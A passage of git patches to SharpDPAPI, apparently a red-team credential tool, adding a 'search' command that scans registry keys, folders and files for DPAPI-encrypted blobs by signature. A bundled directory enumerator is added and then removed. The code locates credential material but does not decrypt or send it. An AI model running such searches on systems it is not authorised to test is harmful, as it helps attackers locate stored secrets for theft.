"HKEY_CURRENT_USER": + return RegistryHive.CurrentUser; + + case "HKLM": + case "HKEY_LOCAL_MACHINE": + return RegistryHive.LocalMachine; + + case "HKEY_PERFORMANCE_DATA": + return RegistryHive.PerformanceData; + + case "HKU": + case "HKEY_USERS": + return RegistryHive.Users; + + default: + throw new Exception("UnknownRegistryHive"); + } + } + + private IEnumerable FindRegistryBlobs(RegistryKey root, bool reportErrors) + { + var toCheck = new LinkedList(); + toCheck.AddLast(root); + Console.WriteLine("Root: " + root); + + while (toCheck.Count > 0) + { + root = toCheck.First.Value; + toCheck.RemoveFirst(); + + if (root == null) + continue; + + var valueNames = new string[] { }; + + try + { + valueNames = root.GetValueNames(); + } + catch + { + if (reportErrors) + Console.WriteLine($"ERROR: Could not list values for {root}"); + } + + foreach (var name in valueNames) + { + switch (root.GetValueKind(name)) + { + case RegistryValueKind.String: + string matchingPath = null; + try + { + var str = (string)root.GetValue(name); + + // Regex generated by putting dpapiProviderGuid into the script here: https://www.leeholmes.com/blog/2017/09/21/searching-for-content-in-base-64-strings/ + if (Regex.IsMatch(str, "(AAAA0Iyd3wEV0RGMegDAT8KX6|AQAAANCMnd8BFdERjHoAwE/Cl+|EAAADQjJ3fARXREYx6AMBPwpfr|01000000D08C9DDF0115D1118C7A00C04FC297EB)")) + { + var bytes = Convert.FromBase64String(str); + + if (ContainsDpapiBlob(bytes)) + matchingPath = $"{root.Name}{name}"; + } + } + catch + { + // Not base64 content + } + if(matchingPath != null) + yield return matchingPath; + break; + + case RegistryValueKind.Binary: + if(ContainsDpapiBlob((byte[])root.GetValue(name))) + { + yield return $"{root.Name}{name}"; + } + break; + } + } + + + var subkeyNames = new string[] { }; + + try + { + subkeyNames = root.GetSubKeyNames(); + } + catch + { + if (reportErrors) + Console.WriteLine($"ERROR: Could not list subkeys of {root}"); + } + foreach (var sub in subkeyNames) + { + try + { + var subkey = root.OpenSubKey(sub); + toCheck.AddLast(subkey); + } + catch(Exception e) + { + if (reportErrors) + Console.WriteLine($"ERROR: Failed to open {root}\\{sub}. Message: {e.Message}"); + } + } + } + } + + private bool ContainsDpapiBlob(byte[] bytes) + { + //return bytes.Contains(dpapiProviderGuid); + foreach (var searchBytes in dpapiBlobSearches) + { + if (bytes.Contains(searchBytes)) + return true; + } + + return false; + } + } +} \ No newline at end of file diff --git a/SharpDPAPI/lib/FastDirectoryEnumerator.cs b/SharpDPAPI/lib/FastDirectoryEnumerator.cs new file mode 100644 index 0000000..312bb93 --- /dev/null +++ b/SharpDPAPI/lib/FastDirectoryEnumerator.cs @@ -0,0 +1,568 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Runtime.ConstrainedExecution; +using System.Runtime.InteropServices; +using System.Security.Permissions; +using Microsoft.Win32.SafeHandles; + +namespace CodeProject +{ + /// + /// Contains information about a file returned by the + /// class. + /// + [Serializable] + public class FileData + { + /// + /// Attributes of the file. + /// + public readonly FileAttributes Attributes; + + public DateTime CreationTime + { + get { return this.CreationTimeUtc.ToLocalTime(); } + } + + /// + /// File creation time in UTC + /// + public readonly DateTime CreationTimeUtc; + + /// + /// Gets the last access time in local time. + /// + public DateTime LastAccesTime + { + get { return this.LastAccessTimeUtc.ToLocalTime(); } + } + + /// + /// File last access time in UTC + /// + public readonly DateTime LastAccessTimeUtc; + + /// + /// Gets the last access time in local time. + /// + public DateTime LastWriteTime + { + get { return this.LastWriteTimeUtc.ToLocalTime(); } + } + + /// + /// File last write time in UTC + /// + public readonly DateTime LastWriteTimeUtc; + + /// + /// Size of the file in bytes + /// + public readonly long Size; + + /// + /// Name of the file + /// + public readonly string Name; + + /// + /// Full path to the file. + /// + public readonly string Path; + + /// + /// Returns a that represents the current . + /// + /// + /// A that represents the current . + /// + public override string ToString() + { + return this.Name; + } + + /// + /// Initializes a new instance of the class. + /// + /// The directory that the file is stored at + /// WIN32_FIND_DATA structure that this + /// object wraps. + internal FileData(string dir, WIN32_FIND_DATA findData) + { + this.Attributes = findData.dwFileAttributes; + + + this.CreationTimeUtc = ConvertDateTime(findData.ftCreationTime_dwHighDateTime, + findData.ftCreationTime_dwLowDateTime); + + this.LastAccessTimeUtc = ConvertDateTime(findData.ftLastAccessTime_dwHighDateTime, + findData.ftLastAccessTime_dwLowDateTime); + + this.LastWriteTimeUtc = ConvertDateTime(findData.ftLastWriteTime_dwHighDateTime, + findData.ftLastWriteTime_dwLowDateTime); + + this.Size = CombineHighLowInts(findData.nFileSizeHigh, findData.nFileSizeLow); + + this.Name = findData.cFileName; + this.Path = System.IO.Path.Combine(dir, findData.cFileName); + } + + private static long CombineHighLowInts(uint high, uint low) + { + return (((long)high) << 0x20) | low; + } + + private static DateTime ConvertDateTime(uint high, uint low) + { + long fileTime = CombineHighLowInts(high, low); + return DateTime.FromFileTimeUtc(fileTime); + } + } + + /// + /// Contains information about the file that is found + /// by the FindFirstFile or FindNextFile functions. + /// + [Serializable, StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto), BestFitMapping(false)] + internal class WIN32_FIND_DATA + { + public FileAttributes dwFileAttributes; + public uint ftCreationTime_dwLowDateTime; + public uint ftCreationTime_dwHighDateTime; + public uint ftLastAccessTime_dwLowDateTime; + public uint ftLastAccessTime_dwHighDateTime; + public uint ftLastWriteTime_dwLowDateTime; + public uint ftLastWriteTime_dwHighDateTime; + public uint nFileSizeHigh; + public uint nFileSizeLow; + public int dwReserved0; + public int dwReserved1; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 260)] + public string cFileName; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 14)] + public string cAlternateFileName; + + /// + /// Returns a that represents the current . + /// + /// + /// A that represents the current . + /// + public override string ToString() + { + return "File name=" + cFileName; + } + } + + /// + /// A fast enumerator of files in a directory. Use this if you need to get attributes for + /// all files in a directory. + /// + /// + /// This enumerator is substantially faster than using + /// and then creating a new FileInfo object for each path. Use this version when you + /// will need to look at the attibutes of each file returned (for example, you need + /// to check each file in a directory to see if it was modified after a specific date). + /// + public static class FastDirectoryEnumerator + { + /// + /// Gets for all the files in a directory. + /// + /// The path to search. + /// An object that implements and + /// allows you to enumerate the files in the given directory. + /// + /// is a null reference (Nothing in VB) + /// + public static IEnumerable EnumerateFiles(string path) + { + return FastDirectoryEnumerator.EnumerateFiles(path, "*"); + } + + /// + /// Gets for all the files in a directory that match a + /// specific filter. + /// + /// The path to search. + /// The search string to match against files in the path. + /// An object that implements and + /// allows you to enumerate the files in the given directory. + /// + /// is a null reference (Nothing in VB) + /// + /// + /// is a null reference (Nothing in VB) + /// + public static IEnumerable EnumerateFiles(string path, string searchPattern) + { + return FastDirectoryEnumerator.EnumerateFiles(path, searchPattern, SearchOption.TopDirectoryOnly); + } + + /// + /// Gets for all the files in a directory that + /// match a specific filter, optionally including all sub directories. + /// + /// The path to search. + /// The search string to match against files in the path. + /// + /// One of the SearchOption values that specifies whether the search + /// operation should include all subdirectories or only the current directory. + /// + /// An object that implements and + /// allows you to enumerate the files in the given directory. + /// + /// is a null reference (Nothing in VB) + /// + /// + /// is a null reference (Nothing in VB) + /// + /// + /// is not one of the valid values of the + /// enumeration. + /// + public static IEnumerable EnumerateFiles(string path, string searchPattern, SearchOption searchOption) + { + if (path == null) + { + throw new ArgumentNullException("path"); + } + if (searchPattern == null) + { + throw new ArgumentNullException("searchPattern"); + } + if ((searchOption != SearchOption.TopDirectoryOnly) && (searchOption != SearchOption.AllDirectories)) + { + throw new ArgumentOutOfRangeException("searchOption"); + } + + string fullPath = Path.GetFullPath(path); + + return new FileEnumerable(fullPath, searchPattern, searchOption); + } + + /// + /// Gets for all the files in a directory that match a + /// specific filter. + /// + /// The path to search. + /// The search string to match against files in the path. + /// An object that implements and + /// allows you to enumerate the files in the given directory. + /// + /// is a null reference (Nothing in VB) + /// + /// + /// is a null reference (Nothing in VB) + /// + public static FileData[] GetFiles(string path, string searchPattern, SearchOption searchOption) + { + IEnumerable e = FastDirectoryEnumerator.EnumerateFiles(path, searchPattern, searchOption); + List list = new List(e); + + FileData[] retval = new FileData[list.Count]; + list.CopyTo(retval); + + return retval; + } + + /// + /// Provides the implementation of the + /// interface + /// + private class FileEnumerable : IEnumerable + { + private readonly string m_path; + private readonly string m_filter; + private readonly SearchOption m_searchOption; + + /// + /// Initializes a new instance of the class. + /// + /// The path to search. + /// The search string to match against files in the path. + /// + /// One of the SearchOption values that specifies whether the search + /// operation should include all subdirectories or only the current directory. + /// + public FileEnumerable(string path, string filter, SearchOption searchOption) + { + m_path = path; + m_filter = filter; + m_searchOption = searchOption; + } + + #region IEnumerable Members + + /// + /// Returns an enumerator that iterates through the collection. + /// + /// + /// A that can + /// be used to iterate through the collection. + /// + public IEnumerator GetEnumerator() + { + return new FileEnumerator(m_path, m_filter, m_searchOption); + } + + #endregion + + #region IEnumerable Members + + /// + /// Returns an enumerator that iterates through a collection. + /// + /// + /// An object that can be + /// used to iterate through the collection. + /// + System.Collections.IEnumerator System.Collections.IEnumerable.GetEnumerator() + { + return new FileEnumerator(m_path, m_filter, m_searchOption); + } + + #endregion + } + + /// + /// Wraps a FindFirstFile handle. + /// + private sealed class SafeFindHandle : SafeHandleZeroOrMinusOneIsInvalid + { + [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] + [DllImport("kernel32.dll")] + private static extern bool FindClose(IntPtr handle); + + /// + /// Initializes a new instance of the class. + /// + [SecurityPermission(SecurityAction.LinkDemand, UnmanagedCode = true)] + internal SafeFindHandle() + : base(true) + { + } + + /// + /// When overridden in a derived class, executes the code required to free the handle. + /// + /// + /// true if the handle is released successfully; otherwise, in the + /// event of a catastrophic failure, false. In this case, it + /// generates a releaseHandleFailed MDA Managed Debugging Assistant. + /// + protected override bool ReleaseHandle() + { + return FindClose(base.handle); + } + } + + /// + /// Provides the implementation of the + /// interface + /// + [System.Security.SuppressUnmanagedCodeSecurity] + private class FileEnumerator : IEnumerator + { + [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] + private static extern SafeFindHandle FindFirstFile(string fileName, + [In, Out] WIN32_FIND_DATA data); + + [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] + private static extern bool FindNextFile(SafeFindHandle hndFindFile, + [In, Out, MarshalAs(UnmanagedType.LPStruct)] WIN32_FIND_DATA lpFindFileData); + + /// + /// Hold context information about where we current are in the directory search. + /// + private class SearchContext + { + public readonly string Path; + public Stack SubdirectoriesToProcess; + + public SearchContext(string path) + { + this.Path = path; + } + } + + private string m_path; + private string m_filter; + private SearchOption m_searchOption; + private Stack m_contextStack; + private SearchContext m_currentContext; + + private SafeFindHandle m_hndFindFile; + private WIN32_FIND_DATA m_win_find_data = new WIN32_FIND_DATA(); + + /// + /// Initializes a new instance of the class. + /// + /// The path to search. + /// The search string to match against files in the path. + /// + /// One of the SearchOption values that specifies whether the search + /// operation should include all subdirectories or only the current directory. + /// + public FileEnumerator(string path, string filter, SearchOption searchOption) + { + m_path = path; + m_filter = filter; + m_searchOption = searchOption; + m_currentContext = new SearchContext(path); + + if (m_searchOption == SearchOption.AllDirectories) + { + m_contextStack = new Stack(); + } + } + + #region IEnumerator Members + + /// + /// Gets the element in the collection at the current position of the enumerator. + /// + /// + /// + /// The element in the collection at the current position of the enumerator. + /// + public FileData Current + { + get { return new FileData(m_path, m_win_find_data); } + } + + #endregion + + #region IDisposable Members + + /// + /// Performs application-defined tasks associated with freeing, releasing, + /// or resetting unmanaged resources. + /// + public void Dispose() + { + if (m_hndFindFile != null) + { + m_hndFindFile.Dispose(); + } + } + + #endregion + + #region IEnumerator Members + + /// + /// Gets the element in the collection at the current position of the enumerator. + /// + /// + /// + /// The element in the collection at the current position of the enumerator. + /// + object System.Collections.IEnumerator.Current + { + get { return new FileData(m_path, m_win_find_data); } + } + + /// + /// Advances the enumerator to the next element of the collection. + /// + /// + /// true if the enumerator was successfully advanced to the next element; + /// false if the enumerator has passed the end of the collection. + /// + /// + /// The collection was modified after the enumerator was created. + /// + public bool MoveNext() + { + bool retval = false; + + //If the handle is null, this is first call to MoveNext in the current + // directory. In that case, start a new search. + if (m_currentContext.SubdirectoriesToProcess == null) + { + if (m_hndFindFile == null) + { + new FileIOPermission(FileIOPermissionAccess.PathDiscovery, m_path).Demand(); + + string searchPath = Path.Combine(m_path, m_filter); + m_hndFindFile = FindFirstFile(searchPath, m_win_find_data); + retval = !m_hndFindFile.IsInvalid; + } + else + { + //Otherwise, find the next item. + retval = FindNextFile(m_hndFindFile, m_win_find_data); + } + } + + //If the call to FindNextFile or FindFirstFile succeeded... + if (retval) + { + if (((FileAttributes)m_win_find_data.dwFileAttributes & FileAttributes.Directory) == FileAttributes.Directory) + { + //Ignore folders for now. We call MoveNext recursively here to + // move to the next item that FindNextFile will return. + return MoveNext(); + } + } + else if (m_searchOption == SearchOption.AllDirectories) + { + //SearchContext context = new SearchContext(m_hndFindFile, m_path); + //m_contextStack.Push(context); + //m_path = Path.Combine(m_path, m_win_find_data.cFileName); + //m_hndFindFile = null; + + if (m_currentContext.SubdirectoriesToProcess == null) + { + string[] subDirectories = Directory.GetDirectories(m_path); + m_currentContext.SubdirectoriesToProcess = new Stack(subDirectories); + } + + if (m_currentContext.SubdirectoriesToProcess.Count > 0) + { + string subDir = m_currentContext.SubdirectoriesToProcess.Pop(); + + m_contextStack.Push(m_currentContext); + m_path = subDir; + m_hndFindFile = null; + m_currentContext = new SearchContext(m_path); + return MoveNext(); + } + + //If there are no more files in this directory and we are + // in a sub directory, pop back up to the parent directory and + // continue the search from there. + if (m_contextStack.Count > 0) + { + m_currentContext = m_contextStack.Pop(); + m_path = m_currentContext.Path; + if (m_hndFindFile != null) + { + m_hndFindFile.Close(); + m_hndFindFile = null; + } + + return MoveNext(); + } + } + + return retval; + } + + /// + /// Sets the enumerator to its initial position, which is before the first element in the collection. + /// + /// + /// The collection was modified after the enumerator was created. + /// + public void Reset() + { + m_hndFindFile = null; + } + + #endregion + } + } +} From 8a28e1a5eec5976ef28789edab92fd3ef1b03642 Mon Sep 17 00:00:00 2001 From: leechristensen Date: Sat, 4 Jul 2020 19:22:36 -0700 Subject: [PATCH 05/66] fixed file enumeration bug --- SharpDPAPI/Commands/Search.cs | 32 +- SharpDPAPI/SharpDPAPI.csproj | 1 - SharpDPAPI/lib/FastDirectoryEnumerator.cs | 568 ---------------------- 3 files changed, 20 insertions(+), 581 deletions(-) delete mode 100644 SharpDPAPI/lib/FastDirectoryEnumerator.cs diff --git a/SharpDPAPI/Commands/Search.cs b/SharpDPAPI/Commands/Search.cs index 0b83067..41930c2 100644 --- a/SharpDPAPI/Commands/Search.cs +++ b/SharpDPAPI/Commands/Search.cs @@ -2,9 +2,7 @@ using System.Collections; using System.Collections.Generic; using System.IO; -using System.Linq; using System.Text.RegularExpressions; -using CodeProject; using Microsoft.Win32; namespace SharpDPAPI.Commands @@ -12,7 +10,7 @@ namespace SharpDPAPI.Commands public class Search : ICommand { public static string CommandName => "search"; - delegate void ProcessFileCallback(string path); + delegate void ProcessFileCallback(string path, bool showErrors); private static readonly byte[] dpapiBlobHeader = @@ -73,6 +71,7 @@ private void SearchFolder(Dictionary arguments) throw new ArgumentException("/path argument not specified"); var path = arguments["/path"]; + var showErrors = arguments.ContainsKey("/showErrors"); if (!Directory.Exists(path)) throw new ArgumentException($"The folder '{path}' does not exist"); @@ -81,17 +80,25 @@ private void SearchFolder(Dictionary arguments) if (arguments.ContainsKey("/maxBytes") && !uint.TryParse(arguments["/maxBytes"], out maxBytes)) throw new ArgumentException($"Invalid uint value '{arguments["/maxBytes"]}' in the /maxBytes argument"); - Console.WriteLine($"[*] Searching for the folder {path} for file containing DPAPI blobs the first {maxBytes} bytes\n"); + Console.WriteLine($"[*] Searching for the folder {path} for files potentially containing DPAPI blobs the first {maxBytes} bytes\n"); - FindFiles(path, maxBytes, (filePath) => + FindFiles(path, maxBytes, showErrors, (filePath, displayErrors) => { - if(FileContainsDpapiBlob(filePath, maxBytes)) - Console.WriteLine(filePath); + try + { + if (FileContainsDpapiBlob(filePath, maxBytes)) + Console.WriteLine(filePath); + } + catch (Exception e) + { + if(displayErrors) + Console.WriteLine($"File Processing ERROR: {filePath} - {e.Message}"); + } }); } - private void FindFiles(string path, uint maxBytes, ProcessFileCallback processFile) + private void FindFiles(string path, uint maxBytes, bool showErrors, ProcessFileCallback processFile) { // Modified largely from https://developerslogblog.wordpress.com/2020/02/25/c-how-to-find-all-files-recursively-in-a-folder/ var paths = new List(); @@ -109,12 +116,13 @@ private void FindFiles(string path, uint maxBytes, ProcessFileCallback processFi foreach (var directory in directories) directoriesQueue.Enqueue(directory); - foreach (var file in FastDirectoryEnumerator.EnumerateFiles(currentPath)) - processFile(file.Path); + foreach (var file in Directory.GetFiles(currentPath)) + processFile(file, showErrors); } - catch + catch(Exception e) { - //Console.WriteLine($"ERROR: {e}"); + if(showErrors) + Console.WriteLine($"ERROR: {e}"); } } } diff --git a/SharpDPAPI/SharpDPAPI.csproj b/SharpDPAPI/SharpDPAPI.csproj index a4a9f29..f42cc25 100755 --- a/SharpDPAPI/SharpDPAPI.csproj +++ b/SharpDPAPI/SharpDPAPI.csproj @@ -85,7 +85,6 @@ - diff --git a/SharpDPAPI/lib/FastDirectoryEnumerator.cs b/SharpDPAPI/lib/FastDirectoryEnumerator.cs deleted file mode 100644 index 312bb93..0000000 --- a/SharpDPAPI/lib/FastDirectoryEnumerator.cs +++ /dev/null @@ -1,568 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Runtime.ConstrainedExecution; -using System.Runtime.InteropServices; -using System.Security.Permissions; -using Microsoft.Win32.SafeHandles; - -namespace CodeProject -{ - /// - /// Contains information about a file returned by the - /// class. - /// - [Serializable] - public class FileData - { - /// - /// Attributes of the file. - /// - public readonly FileAttributes Attributes; - - public DateTime CreationTime - { - get { return this.CreationTimeUtc.ToLocalTime(); } - } - - /// - /// File creation time in UTC - /// - public readonly DateTime CreationTimeUtc; - - /// - /// Gets the last access time in local time. - /// - public DateTime LastAccesTime - { - get { return this.LastAccessTimeUtc.ToLocalTime(); } - } - - /// - /// File last access time in UTC - /// - public readonly DateTime LastAccessTimeUtc; - - /// - /// Gets the last access time in local time. - /// - public DateTime LastWriteTime - { - get { return this.LastWriteTimeUtc.ToLocalTime(); } - } - - /// - /// File last write time in UTC - /// - public readonly DateTime LastWriteTimeUtc; - - /// - /// Size of the file in bytes - /// - public readonly long Size; - - /// - /// Name of the file - /// - public readonly string Name; - - /// - /// Full path to the file. - /// - public readonly string Path; - - /// - /// Returns a that represents the current . - /// - /// - /// A that represents the current . - /// - public override string ToString() - { - return this.Name; - } - - /// - /// Initializes a new instance of the class. - /// - /// The directory that the file is stored at - /// WIN32_FIND_DATA structure that this - /// object wraps. - internal FileData(string dir, WIN32_FIND_DATA findData) - { - this.Attributes = findData.dwFileAttributes; - - - this.CreationTimeUtc = ConvertDateTime(findData.ftCreationTime_dwHighDateTime, - findData.ftCreationTime_dwLowDateTime); - - this.LastAccessTimeUtc = ConvertDateTime(findData.ftLastAccessTime_dwHighDateTime, - findData.ftLastAccessTime_dwLowDateTime); - - this.LastWriteTimeUtc = ConvertDateTime(findData.ftLastWriteTime_dwHighDateTime, - findData.ftLastWriteTime_dwLowDateTime); - - this.Size = CombineHighLowInts(findData.nFileSizeHigh, findData.nFileSizeLow); - - this.Name = findData.cFileName; - this.Path = System.IO.Path.Combine(dir, findData.cFileName); - } - - private static long CombineHighLowInts(uint high, uint low) - { - return (((long)high) << 0x20) | low; - } - - private static DateTime ConvertDateTime(uint high, uint low) - { - long fileTime = CombineHighLowInts(high, low); - return DateTime.FromFileTimeUtc(fileTime); - } - } - - /// - /// Contains information about the file that is found - /// by the FindFirstFile or FindNextFile functions. - /// - [Serializable, StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto), BestFitMapping(false)] - internal class WIN32_FIND_DATA - { - public FileAttributes dwFileAttributes; - public uint ftCreationTime_dwLowDateTime; - public uint ftCreationTime_dwHighDateTime; - public uint ftLastAccessTime_dwLowDateTime; - public uint ftLastAccessTime_dwHighDateTime; - public uint ftLastWriteTime_dwLowDateTime; - public uint ftLastWriteTime_dwHighDateTime; - public uint nFileSizeHigh; - public uint nFileSizeLow; - public int dwReserved0; - public int dwReserved1; - [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 260)] - public string cFileName; - [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 14)] - public string cAlternateFileName; - - /// - /// Returns a that represents the current . - /// - /// - /// A that represents the current . - /// - public override string ToString() - { - return "File name=" + cFileName; - } - } - - /// - /// A fast enumerator of files in a directory. Use this if you need to get attributes for - /// all files in a directory. - /// - /// - /// This enumerator is substantially faster than using - /// and then creating a new FileInfo object for each path. Use this version when you - /// will need to look at the attibutes of each file returned (for example, you need - /// to check each file in a directory to see if it was modified after a specific date). - /// - public static class FastDirectoryEnumerator - { - /// - /// Gets for all the files in a directory. - /// - /// The path to search. - /// An object that implements and - /// allows you to enumerate the files in the given directory. - /// - /// is a null reference (Nothing in VB) - /// - public static IEnumerable EnumerateFiles(string path) - { - return FastDirectoryEnumerator.EnumerateFiles(path, "*"); - } - - /// - /// Gets for all the files in a directory that match a - /// specific filter. - /// - /// The path to search. - /// The search string to match against files in the path. - /// An object that implements and - /// allows you to enumerate the files in the given directory. - /// - /// is a null reference (Nothing in VB) - /// - /// - /// is a null reference (Nothing in VB) - /// - public static IEnumerable EnumerateFiles(string path, string searchPattern) - { - return FastDirectoryEnumerator.EnumerateFiles(path, searchPattern, SearchOption.TopDirectoryOnly); - } - - /// - /// Gets for all the files in a directory that - /// match a specific filter, optionally including all sub directories. - /// - /// The path to search. - /// The search string to match against files in the path. - /// - /// One of the SearchOption values that specifies whether the search - /// operation should include all subdirectories or only the current directory. - /// - /// An object that implements and - /// allows you to enumerate the files in the given directory. - /// - /// is a null reference (Nothing in VB) - /// - /// - /// is a null reference (Nothing in VB) - /// - /// - /// is not one of the valid values of the - /// enumeration. - /// - public static IEnumerable EnumerateFiles(string path, string searchPattern, SearchOption searchOption) - { - if (path == null) - { - throw new ArgumentNullException("path"); - } - if (searchPattern == null) - { - throw new ArgumentNullException("searchPattern"); - } - if ((searchOption != SearchOption.TopDirectoryOnly) && (searchOption != SearchOption.AllDirectories)) - { - throw new ArgumentOutOfRangeException("searchOption"); - } - - string fullPath = Path.GetFullPath(path); - - return new FileEnumerable(fullPath, searchPattern, searchOption); - } - - /// - /// Gets for all the files in a directory that match a - /// specific filter. - /// - /// The path to search. - /// The search string to match against files in the path. - /// An object that implements and - /// allows you to enumerate the files in the given directory. - /// - /// is a null reference (Nothing in VB) - /// - /// - /// is a null reference (Nothing in VB) - /// - public static FileData[] GetFiles(string path, string searchPattern, SearchOption searchOption) - { - IEnumerable e = FastDirectoryEnumerator.EnumerateFiles(path, searchPattern, searchOption); - List list = new List(e); - - FileData[] retval = new FileData[list.Count]; - list.CopyTo(retval); - - return retval; - } - - /// - /// Provides the implementation of the - /// interface - /// - private class FileEnumerable : IEnumerable - { - private readonly string m_path; - private readonly string m_filter; - private readonly SearchOption m_searchOption; - - /// - /// Initializes a new instance of the class. - /// - /// The path to search. - /// The search string to match against files in the path. - /// - /// One of the SearchOption values that specifies whether the search - /// operation should include all subdirectories or only the current directory. - /// - public FileEnumerable(string path, string filter, SearchOption searchOption) - { - m_path = path; - m_filter = filter; - m_searchOption = searchOption; - } - - #region IEnumerable Members - - /// - /// Returns an enumerator that iterates through the collection. - /// - /// - /// A that can - /// be used to iterate through the collection. - /// - public IEnumerator GetEnumerator() - { - return new FileEnumerator(m_path, m_filter, m_searchOption); - } - - #endregion - - #region IEnumerable Members - - /// - /// Returns an enumerator that iterates through a collection. - /// - /// - /// An object that can be - /// used to iterate through the collection. - /// - System.Collections.IEnumerator System.Collections.IEnumerable.GetEnumerator() - { - return new FileEnumerator(m_path, m_filter, m_searchOption); - } - - #endregion - } - - /// - /// Wraps a FindFirstFile handle. - /// - private sealed class SafeFindHandle : SafeHandleZeroOrMinusOneIsInvalid - { - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [DllImport("kernel32.dll")] - private static extern bool FindClose(IntPtr handle); - - /// - /// Initializes a new instance of the class. - /// - [SecurityPermission(SecurityAction.LinkDemand, UnmanagedCode = true)] - internal SafeFindHandle() - : base(true) - { - } - - /// - /// When overridden in a derived class, executes the code required to free the handle. - /// - /// - /// true if the handle is released successfully; otherwise, in the - /// event of a catastrophic failure, false. In this case, it - /// generates a releaseHandleFailed MDA Managed Debugging Assistant. - /// - protected override bool ReleaseHandle() - { - return FindClose(base.handle); - } - } - - /// - /// Provides the implementation of the - /// interface - /// - [System.Security.SuppressUnmanagedCodeSecurity] - private class FileEnumerator : IEnumerator - { - [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern SafeFindHandle FindFirstFile(string fileName, - [In, Out] WIN32_FIND_DATA data); - - [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern bool FindNextFile(SafeFindHandle hndFindFile, - [In, Out, MarshalAs(UnmanagedType.LPStruct)] WIN32_FIND_DATA lpFindFileData); - - /// - /// Hold context information about where we current are in the directory search. - /// - private class SearchContext - { - public readonly string Path; - public Stack SubdirectoriesToProcess; - - public SearchContext(string path) - { - this.Path = path; - } - } - - private string m_path; - private string m_filter; - private SearchOption m_searchOption; - private Stack m_contextStack; - private SearchContext m_currentContext; - - private SafeFindHandle m_hndFindFile; - private WIN32_FIND_DATA m_win_find_data = new WIN32_FIND_DATA(); - - /// - /// Initializes a new instance of the class. - /// - /// The path to search. - /// The search string to match against files in the path. - /// - /// One of the SearchOption values that specifies whether the search - /// operation should include all subdirectories or only the current directory. - /// - public FileEnumerator(string path, string filter, SearchOption searchOption) - { - m_path = path; - m_filter = filter; - m_searchOption = searchOption; - m_currentContext = new SearchContext(path); - - if (m_searchOption == SearchOption.AllDirectories) - { - m_contextStack = new Stack(); - } - } - - #region IEnumerator Members - - /// - /// Gets the element in the collection at the current position of the enumerator. - /// - /// - /// - /// The element in the collection at the current position of the enumerator. - /// - public FileData Current - { - get { return new FileData(m_path, m_win_find_data); } - } - - #endregion - - #region IDisposable Members - - /// - /// Performs application-defined tasks associated with freeing, releasing, - /// or resetting unmanaged resources. - /// - public void Dispose() - { - if (m_hndFindFile != null) - { - m_hndFindFile.Dispose(); - } - } - - #endregion - - #region IEnumerator Members - - /// - /// Gets the element in the collection at the current position of the enumerator. - /// - /// - /// - /// The element in the collection at the current position of the enumerator. - /// - object System.Collections.IEnumerator.Current - { - get { return new FileData(m_path, m_win_find_data); } - } - - /// - /// Advances the enumerator to the next element of the collection. - /// - /// - /// true if the enumerator was successfully advanced to the next element; - /// false if the enumerator has passed the end of the collection. - /// - /// - /// The collection was modified after the enumerator was created. - /// - public bool MoveNext() - { - bool retval = false; - - //If the handle is null, this is first call to MoveNext in the current - // directory. In that case, start a new search. - if (m_currentContext.SubdirectoriesToProcess == null) - { - if (m_hndFindFile == null) - { - new FileIOPermission(FileIOPermissionAccess.PathDiscovery, m_path).Demand(); - - string searchPath = Path.Combine(m_path, m_filter); - m_hndFindFile = FindFirstFile(searchPath, m_win_find_data); - retval = !m_hndFindFile.IsInvalid; - } - else - { - //Otherwise, find the next item. - retval = FindNextFile(m_hndFindFile, m_win_find_data); - } - } - - //If the call to FindNextFile or FindFirstFile succeeded... - if (retval) - { - if (((FileAttributes)m_win_find_data.dwFileAttributes & FileAttributes.Directory) == FileAttributes.Directory) - { - //Ignore folders for now. We call MoveNext recursively here to - // move to the next item that FindNextFile will return. - return MoveNext(); - } - } - else if (m_searchOption == SearchOption.AllDirectories) - { - //SearchContext context = new SearchContext(m_hndFindFile, m_path); - //m_contextStack.Push(context); - //m_path = Path.Combine(m_path, m_win_find_data.cFileName); - //m_hndFindFile = null; - - if (m_currentContext.SubdirectoriesToProcess == null) - { - string[] subDirectories = Directory.GetDirectories(m_path); - m_currentContext.SubdirectoriesToProcess = new Stack(subDirectories); - } - - if (m_currentContext.SubdirectoriesToProcess.Count > 0) - { - string subDir = m_currentContext.SubdirectoriesToProcess.Pop(); - - m_contextStack.Push(m_currentContext); - m_path = subDir; - m_hndFindFile = null; - m_currentContext = new SearchContext(m_path); - return MoveNext(); - } - - //If there are no more files in this directory and we are - // in a sub directory, pop back up to the parent directory and - // continue the search from there. - if (m_contextStack.Count > 0) - { - m_currentContext = m_contextStack.Pop(); - m_path = m_currentContext.Path; - if (m_hndFindFile != null) - { - m_hndFindFile.Close(); - m_hndFindFile = null; - } - - return MoveNext(); - } - } - - return retval; - } - - /// - /// Sets the enumerator to its initial position, which is before the first element in the collection. - /// - /// - /// The collection was modified after the enumerator was created. - /// - public void Reset() - { - m_hndFindFile = null; - } - - #endregion - } - } -} From d85391a2c6337aadcebc5abb3a544b3b1f216efa Mon Sep 17 00:00:00 2001 From: leechristensen Date: Sat, 4 Jul 2020 19:25:08 -0700 Subject: [PATCH 06/66] update text/readme --- README.md | 4 ++-- SharpDPAPI/Commands/Search.cs | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 6810251..4e547ec 100755 --- a/README.md +++ b/README.md @@ -1154,7 +1154,7 @@ Retrieve the DPAPI backup key for the specified DC, outputting the backup key to The **search** comand will search for potential DPAPI blobs in the registry, files, folders, and base64 blobs. Usage: ``` SharpDPAPI.exe search /type:registry [/path:HKLM\path\to\key] [/showErrors] -SharpDPAPI.exe search /type:folder /path:C:\path\to\folder [/maxBytes:] +SharpDPAPI.exe search /type:folder /path:C:\path\to\folder [/maxBytes:] [/showErrors] SharpDPAPI.exe search /type:file /path:C:\path\to\file [/maxBytes:] 